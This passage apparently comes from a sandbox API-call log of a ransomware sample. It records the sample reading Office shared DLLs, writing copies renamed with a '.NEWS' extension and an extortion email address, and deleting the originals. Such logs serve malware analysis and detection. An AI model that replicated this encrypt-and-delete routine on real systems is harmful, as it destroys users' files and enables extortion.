lpString2="s.dll") returned -1 [0085.050] lstrlenW (lpString=".ppt") returned 4 [0085.050] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.050] lstrlenW (lpString=".zip") returned 4 [0085.050] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.050] lstrlenW (lpString=".rar") returned 4 [0085.050] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.050] lstrlenW (lpString=".bz2") returned 4 [0085.050] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.050] lstrlenW (lpString=".7z") returned 3 [0085.050] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.050] lstrlenW (lpString=".dbf") returned 4 [0085.050] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.050] lstrlenW (lpString=".1cd") returned 4 [0085.050] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0085.050] lstrlenW (lpString=".jpg") returned 4 [0085.050] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.051] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0085.051] lstrlenW (lpString="mso30win32client.dll") returned 20 [0085.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0085.052] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4677216) returned 1 [0085.052] CloseHandle (hObject=0x338) returned 1 [0085.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0085.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.499] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0085.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0085.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0085.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.537] lstrlenW (lpString=".doc") returned 4 [0085.537] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.537] lstrlenW (lpString=".docx") returned 5 [0085.537] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0085.537] lstrlenW (lpString=".pdf") returned 4 [0085.537] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.537] lstrlenW (lpString=".xls") returned 4 [0085.537] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.537] lstrlenW (lpString=".xlsx") returned 5 [0085.537] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0085.537] lstrlenW (lpString=".ppt") returned 4 [0085.537] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.537] lstrlenW (lpString=".zip") returned 4 [0085.537] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.538] lstrlenW (lpString=".rar") returned 4 [0085.538] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.538] lstrlenW (lpString=".bz2") returned 4 [0085.538] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.538] lstrlenW (lpString=".7z") returned 3 [0085.538] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.538] lstrlenW (lpString=".dbf") returned 4 [0085.538] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.538] lstrlenW (lpString=".1cd") returned 4 [0085.538] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.538] lstrlenW (lpString=".jpg") returned 4 [0085.538] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.538] lstrlenW (lpString=".doc") returned 4 [0085.538] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.538] lstrlenW (lpString=".docx") returned 5 [0085.538] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0085.538] lstrlenW (lpString=".pdf") returned 4 [0085.538] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.538] lstrlenW (lpString=".xls") returned 4 [0085.538] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.538] lstrlenW (lpString=".xlsx") returned 5 [0085.538] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0085.538] lstrlenW (lpString=".ppt") returned 4 [0085.538] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.538] lstrlenW (lpString=".zip") returned 4 [0085.538] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.538] lstrlenW (lpString=".rar") returned 4 [0085.539] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.539] lstrlenW (lpString=".bz2") returned 4 [0085.539] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.539] lstrlenW (lpString=".7z") returned 3 [0085.539] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.539] lstrlenW (lpString=".dbf") returned 4 [0085.539] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.539] lstrlenW (lpString=".1cd") returned 4 [0085.539] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78 [0085.539] lstrlenW (lpString=".jpg") returned 4 [0085.539] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.539] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0085.539] lstrlenW (lpString="OfficeC2RCom.dll") returned 16 [0085.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0085.539] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=996568) returned 1 [0085.539] CloseHandle (hObject=0x374) returned 1 [0085.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0085.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0085.540] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.540] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0087.203] GetLastError () returned 0x0 [0087.203] ReadFile (in: hFile=0x374, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0xf34d8, lpOverlapped=0x0) returned 1 [0087.222] WriteFile (in: hFile=0x348, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf34e0, lpOverlapped=0x0) returned 1 [0087.238] ReadFile (in: hFile=0x374, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.238] WriteFile (in: hFile=0x348, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf4, lpOverlapped=0x0) returned 1 [0087.238] SetEndOfFile (hFile=0x348) returned 1 [0087.238] CloseHandle (hObject=0x348) returned 1 [0087.238] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.238] SetEndOfFile (hFile=0x374) returned 1 [0087.670] CloseHandle (hObject=0x374) returned 1 [0087.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0087.858] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1 [0087.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.858] lstrlenW (lpString=".doc") returned 4 [0087.858] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.858] lstrlenW (lpString=".docx") returned 5 [0087.858] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0087.858] lstrlenW (lpString=".pdf") returned 4 [0087.858] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.858] lstrlenW (lpString=".xls") returned 4 [0087.858] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.858] lstrlenW (lpString=".xlsx") returned 5 [0087.858] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0087.858] lstrlenW (lpString=".ppt") returned 4 [0087.858] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.859] lstrlenW (lpString=".zip") returned 4 [0087.859] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.859] lstrlenW (lpString=".rar") returned 4 [0087.859] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.859] lstrlenW (lpString=".bz2") returned 4 [0087.859] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.859] lstrlenW (lpString=".7z") returned 3 [0087.859] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.859] lstrlenW (lpString=".dbf") returned 4 [0087.859] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.859] lstrlenW (lpString=".1cd") returned 4 [0087.859] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.859] lstrlenW (lpString=".jpg") returned 4 [0087.859] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.859] lstrlenW (lpString=".doc") returned 4 [0087.859] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.859] lstrlenW (lpString=".docx") returned 5 [0087.859] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0087.859] lstrlenW (lpString=".pdf") returned 4 [0087.859] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.859] lstrlenW (lpString=".xls") returned 4 [0087.859] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.859] lstrlenW (lpString=".xlsx") returned 5 [0087.859] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0087.859] lstrlenW (lpString=".ppt") returned 4 [0087.859] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.859] lstrlenW (lpString=".zip") returned 4 [0087.859] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.859] lstrlenW (lpString=".rar") returned 4 [0087.860] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.860] lstrlenW (lpString=".bz2") returned 4 [0087.860] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.860] lstrlenW (lpString=".7z") returned 3 [0087.860] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.860] lstrlenW (lpString=".dbf") returned 4 [0087.860] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.860] lstrlenW (lpString=".1cd") returned 4 [0087.860] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0087.860] lstrlenW (lpString=".jpg") returned 4 [0087.860] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.860] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0087.860] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24 [0087.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.238] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=18624) returned 1 [0088.238] CloseHandle (hObject=0x348) returned 1 [0088.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0088.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.241] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.241] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0088.241] GetLastError () returned 0x0 [0088.241] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0088.243] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0088.244] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.244] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x104, lpOverlapped=0x0) returned 1 [0088.244] SetEndOfFile (hFile=0x388) returned 1 [0088.245] CloseHandle (hObject=0x388) returned 1 [0088.245] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.245] SetEndOfFile (hFile=0x348) returned 1 [0088.246] CloseHandle (hObject=0x348) returned 1 [0088.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0088.246] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0088.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.246] lstrlenW (lpString=".doc") returned 4 [0088.246] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.246] lstrlenW (lpString=".docx") returned 5 [0088.246] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0088.246] lstrlenW (lpString=".pdf") returned 4 [0088.246] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.246] lstrlenW (lpString=".xls") returned 4 [0088.246] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.246] lstrlenW (lpString=".xlsx") returned 5 [0088.246] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0088.246] lstrlenW (lpString=".ppt") returned 4 [0088.246] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.246] lstrlenW (lpString=".zip") returned 4 [0088.246] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.246] lstrlenW (lpString=".rar") returned 4 [0088.247] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.247] lstrlenW (lpString=".bz2") returned 4 [0088.247] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.247] lstrlenW (lpString=".7z") returned 3 [0088.247] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.247] lstrlenW (lpString=".dbf") returned 4 [0088.247] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.247] lstrlenW (lpString=".1cd") returned 4 [0088.247] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.247] lstrlenW (lpString=".jpg") returned 4 [0088.247] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.247] lstrlenW (lpString=".doc") returned 4 [0088.247] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.247] lstrlenW (lpString=".docx") returned 5 [0088.247] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0088.247] lstrlenW (lpString=".pdf") returned 4 [0088.247] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.247] lstrlenW (lpString=".xls") returned 4 [0088.247] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.247] lstrlenW (lpString=".xlsx") returned 5 [0088.247] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0088.247] lstrlenW (lpString=".ppt") returned 4 [0088.247] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.247] lstrlenW (lpString=".zip") returned 4 [0088.247] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.247] lstrlenW (lpString=".rar") returned 4 [0088.247] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.247] lstrlenW (lpString=".bz2") returned 4 [0088.247] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.248] lstrlenW (lpString=".7z") returned 3 [0088.248] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.248] lstrlenW (lpString=".dbf") returned 4 [0088.248] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.248] lstrlenW (lpString=".1cd") returned 4 [0088.248] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0088.248] lstrlenW (lpString=".jpg") returned 4 [0088.248] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.248] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0088.248] lstrlenW (lpString="VGX.dll") returned 7 [0088.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 